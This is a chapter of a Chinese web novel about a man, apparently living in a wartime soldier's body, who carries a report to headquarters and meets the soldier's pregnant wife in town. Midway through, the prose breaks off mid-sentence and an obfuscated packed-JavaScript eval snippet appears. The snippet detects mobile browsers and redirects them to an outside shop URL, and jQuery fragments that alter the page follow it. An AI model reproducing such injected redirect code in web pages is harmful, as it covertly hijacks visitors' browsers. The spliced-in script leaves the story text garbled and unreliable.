天没亮,许昌和就醒了。
山里的早晨潮冷潮冷的,浸透了薄被子和单衣。
他缩了一下肩膀坐起来,搓了两把脸,掌心粗糙的厚茧蹭过脸颊,刺拉拉的。
?
他低头看了看自己的手,从床沿上站起来套上外套,外套臂肘的地方磨薄了一层,缝线绷着,再磨几天就要开口了。
许昌和出门,院子里已经有人了。
瘦高个蹲在墙根底下刷牙,回头冲他含含糊糊地说:“早。”
许昌和点了一下头,去水龙头边接水洗脸,水冷得刺骨,他扑了两下就觉得脑仁疼。
他甩了甩手上的水,听见旁边有人走过来,脚步声很稳,不用回头就知道是谁。
许景荣在他旁边蹲下了,拧开水龙头也洗了把脸,直起身的时候侧头看了他一眼:“昨晚睡得好?”
“还行。”
“还行就是不好,你脸上写着呢。”许景荣拿袖子擦了一把脸上的水,“昨天晚上想什么了?翻来覆去的,我起来撒尿路过你窗户都听见了。”
许昌和愣了一下:“你听见了?”
“你哼哼唧唧的,不知道做什么梦。”
许景荣看了他一眼,那眼神跟后来几十年后的爷爷比起来年轻太多了,里头没什么沉甸甸的东西,就是随便一问。
“怎么了?是不是今天去团部紧张?”
“不紧张。”
“那就行。”许景荣拍了拍他肩膀,手掌落下来的时候有点重,带着一股早晨的凉气,“吃完饭出发,路我给你画了,你照着走就行,到了团部找王参谋,把情况说一遍,他问什么你答什么。”
许昌和点了点头。
早饭是稀粥和几块饼,粥熬得稀溜溜的能照见碗底,饼蘸着粥吃就没那么干了。
许昌和端着碗蹲在墙根底下吃,旁边人蹲了一排,稀里呼噜喝粥的声音此起彼伏。
他吃了几口觉得这粥和爷爷熬的不是一个味儿,爷爷熬的小米粥稠,面上结一层米油,配的咸菜是自己腌的芥菜疙瘩,但这碗粥也有些用处,喝下去身上就透热乎劲儿。
瘦高个蹲他旁边一边吸溜粥一边说:“老许,你上次说等你儿子生出来认我当干爹,这话还算不算?”
许昌和嘴里的粥差点呛出来,咳了两声:“算,算。”
瘦高个笑了:“那我得攒钱了,干爹不能白当。”
对面蹲着的人接了一句:“你就攒吧,老许媳妇生儿子,你凑个份子。”
“那必须的。”
几个人有一搭没一搭地扯闲篇,笑声在院子灰蒙蒙的早晨里显得格外响。
许昌和蹲在他们中间端着粥碗,没人看他奇怪,没人问他今天怎么话这么少。
他们只是习惯了“老许”蹲在墙根底下喝粥的样子,跟昨天一样,跟以前所有的早晨一样。
吃完饭,许景荣把路线图画在一张烂纸上塞给他,又拿了个布袋装了两张饼塞他手里:“路上吃,天黑之前回来,别在路上耽搁。”
许昌和背上布袋,刚走到院门口,就回头看了一眼,许景荣正站在水龙头前面洗粗瓷碗,袖子撸到胳膊肘,露出晒得黑红的小臂。
许景荣似乎感觉到许昌和在看他,头也不回地摆了摆手:“去吧,别磨蹭。”
许昌和转过身走上土路。
天比早晨亮了些,云层薄了,偶尔有阳光从云的缝隙里漏下来,在山坡上投出一块一块亮斑。
土路弯弯绕绕的,两边是矮松和灌木,有时候能看见一只灰兔子从路中间窜过去。
他走着走着发现自己的步子越走越快,脚下的路像自动认得一样,哪里该踩哪里该绕心里有数,膝盖和脚腕配合得很好。
走了大概两个钟头,翻过一道山梁的时候他停下来歇了口气。
找了块平整的石头坐上去,掏出布袋里的饼掰了一块塞嘴里,饼是死面的,又干又硬,嚼了半天才咽下去。
许昌和一边嚼一边看着远处,山一层一层叠出去,最远的那层跟天揉在一起,分不清哪是山哪是云。
这副身体走过多少回这样的路?
老许当了好多年兵了,许景荣说他们是同一个村子出来的,那该是很多年的交情。
他想了一下,那个叫许景明的男人到底长什么样,可惜能照的东西太少了,水盆里的倒影模模糊糊的,他只看见一个轮廓。
许景明歇够了继续赶路,到团部的时候差不多中午了。
团部在镇子上,几间青砖房围成一个院子,他进去找到王参谋,把那天的侦察情况说了一遍,对方一边听一边在纸上记。
许昌和说到对面人数和装备的时候脑子里自动蹦出来细节,比他自己记得的还清楚,他嘴上说着,心里头暗暗咋舌。
说完之后王参谋又问了几个问题,他都答了。
最后王参谋点了下头说行了,让他回去路上小心。
许景明从团部出来的时候太阳正顶在头上,镇子是一条街走到底,两边开着些铺子,街上穿布衫的百姓挎着篮子走来走去。
许昌和站在街口看了一会儿,忽然瞥见街对面蹲在铺子门口的女人。
那女人梳着两条辫子,身上穿了件碎花布的衣裳,肚子已经显怀了,蹲在那儿跟旁边另一个女人说着什么,一边说一边笑。
许昌和的目光落在她肚子上,心跳猛地一跳。
那女人也抬头朝街对面望了一眼。
许昌和看见她的脸了,圆圆的,眉眼弯弯的,嘴角还挂着笑。
荷花看了许昌和一眼,笑了一下,冲他摆了摆手。
许昌和的脚挪不动了。
他想往那边走,但两条腿跟钉在地上了似的。
那女人的脸跟枕头底下那封信的字迹对上了,信上写着“见字如面”,现在他看见面了。
荷花蹲在杂货铺门口跟人说笑,肚子鼓鼓的,两只手有时候无意识地搭在肚子上摩挲两下,跟旁边的人比划着什么继续说,然后荷花站起来,拍了拍裤子上的灰,朝许昌和走过来。
许昌和站在街这头,看着她穿过那条不宽的土街。
走到他面前的时候两个人之间隔了不到两步远,荷花仰起脸看他,笑了,说了句:“你站这儿看什么呢?”
许昌和喉咙里堵了一团东西,张嘴半天没说出话来。
荷花又笑了,这回笑得更深,眼睛弯成两道月牙:“傻了?不认识我了?”
许昌和终于憋出一句:“你怎么在这儿?”
“来镇上买布,给孩子做几件小衣裳。”荷花低头摸了摸自己的肚子,“大夫说下个月差不多了,我得提前备着,你正好来了,省得我托人带话。”
她说着从旁边地上拎起一个布包袱,里面鼓鼓囊囊的塞着布料,蓝的白的碎花的。
荷花把包袱往许昌和手里一递:“正好你帮我拿着,我手上没劲儿。”
许昌和接过来,包袱不重,但他捧着那个包袱的手有点发虚。
布料软软的,隔着包袱布能感觉到里面的棉布纹理。
荷花站在他旁边,仰着脸看他,嘴角一直翘着,忽然伸出手,在他肩膀上拍了两下:“是不是又不好好吃饭?”
许昌和脸红着说:“没,好好吃了……”
“骗人。”荷花收了笑,认认真真地看着他,“我知道你什么样,你一瘦就下巴变尖,你看你现在下巴多尖。”
许昌和抬手摸了一下自己的下巴,粗糙的指腹蹭过皮肤,他没觉得尖,但她说他尖那就尖吧。
他拎着包袱站在街边,听着荷花絮絮叨叨地说家里的事,她说着说着自己先笑了:“你站这儿听我跟你说这些,你还要不要赶路?”
许昌和说:“要赶的。”
“那你走吧,包袱我自己拿回去。”
“我送你一段。”
“就送到镇口,别耽误正事。”
许昌和点了点头,拎着包袱跟她并排往镇口走。
荷花侧头问他:“明哥,饿不饿?”
“不饿,刚在队里吃了。”
“我饿了,明哥等我一下。”
然后去买了两个热乎的饼,递给了他一个。
许昌和接过那个饼,油纸烫手,隔着纸都能感觉到饼很软。
荷花咬了一口饼,边走边嚼,腮帮子鼓鼓的,她咽下去之后说:“明哥,等你回来,你就给他起个名字。”
许昌和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932596|213647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
握着手里的饼,烫意从指头往心里窜:“好。”
走到镇口,荷花把包袱接过去重新挎在胳膊上,抬头看了他一眼,然后踮起脚尖伸手捏了捏他的脸:“快走吧,不然天黑了。”
许昌和站在原地没动。
荷花已经转身往回走了,走了几步回头冲他摆了摆手,脸上是笑的。
她的背影在土路上慢慢变小,碎花布衣裳在午后的阳光里晃呀晃,肚子从侧面鼓出一个弧度。
许昌和看着那个背影完全消失在街角,才转回身走上回营的路。
手里的饼似乎没那么烫了,他边走边吃,嘴里嚼着嚼着忽然尝出一股咸味儿,他以为是汗,抬手抹了一下脸,手指是干的。
许昌和加快了步子,走了一程又走了一程,太阳从头顶慢慢往西偏,走到一处下坡的时候他停下来喘了口气,蹲在路边喝了口溪水。
水很凉,沁得牙齿发酸。
他直起身站了一会儿,忽然想到,他还不知道女人叫什么,以后可能会想起来吧?
枕头底下的信上没有落款,只有“见字如面”和那些家常话。
许昌和蹲回溪边又掬了一捧水泼在脸上,冰凉的溪水从下巴往下淌,他看着水面里那张模糊的倒影,低声说了一句:“你媳妇叫什么?”
水面晃了一下,倒影被涟漪揉碎了又聚拢。
当然没人回答他。
许昌和站起来继续走。
往后的路他走得很稳很快,脚底生风,像是这具身体急着回去。
路过那片山坡的时候天已经擦黑了,暮色把山染成深深浅浅的蓝灰色。
许昌和踩着最后一点天光走进营区院子,院子里亮起了那盏昏黄的灯,有人蹲在门口抽烟看见他喊了声“回来了”。
许景荣从屋里出来,手上还缠着绷带,看见许昌和上下扫了一眼:“路上还好?”
“挺好。”许昌和从兜里摸出那张叠好的纸递回去,“王参谋说没问题,让你放心。”
许景荣接过去随手揣兜里,看了许昌和一眼:“你路上遇见谁了?”
许昌和愣了一下:“没谁。”
“你脸上写着呢。”许景荣又说了一遍这话,带着点调侃的语气,“看到你媳妇了?”
许昌和点了一下头。
许景荣笑了,抬起没缠绷带的那只手在他肩膀上拍了一巴掌。
“我就知道,你一回来那个表情就瞒不了人。”他转身往里走,走了两步又回头,“行了,吃饭吧,粥给你留了一碗。”
许昌和跟着他往食堂走,院子里那盏灯在风里晃了一下,光影在墙面上摇曳着。
他走到门口的时候又回头朝院门外看了一眼,天全黑了,门外的土路隐在夜色里什么都看不见。
荷花的脸在他脑海里闪了一下,弯弯的眼睛,翘着的嘴角,扶着腰的姿势。
许昌和转回来进了屋,碗里的粥还是温的。
他蹲在桌边端着碗慢慢喝,对面许景荣也端着一碗粥有一口没一口地喝。
许昌和喝完粥,放下碗,忽然开口:“你说,你以后要是有儿子,你给他起什么名?”
许景荣抬眼皮看他:“怎么突然问这个?”
“就问问。”
“承志。”许景荣想了想,把碗搁桌上,“老许,你说这仗什么时候才能打完。”
“很快了。”
许景荣叹了口气,不该把氛围搞得那么紧张。
“我做了一个很长的梦,我们会很快就打完仗了,国家越来越昌盛。”
“越早越好,”许景荣缓解气氛反问,“那你呢?你儿子起什么名?”
许昌和沉默了很久,低头看着空了碗底:“我还没想好。”
“那等你媳妇生了再想也来得及。”许景荣站起来把碗收走了,“哈哈哈,反正你儿子肯定得管我叫干爹。”
许昌和还蹲在原地,蹲了好一会儿才站起来。
他走到门口靠在门框上往外看,院子里黑沉沉的,风从山那边刮过来,带着草木和泥土的味道。
许昌和长叹一口气,抬头看了看天,云散了,星星零零散散露出几颗。
很淡,但一直在那儿。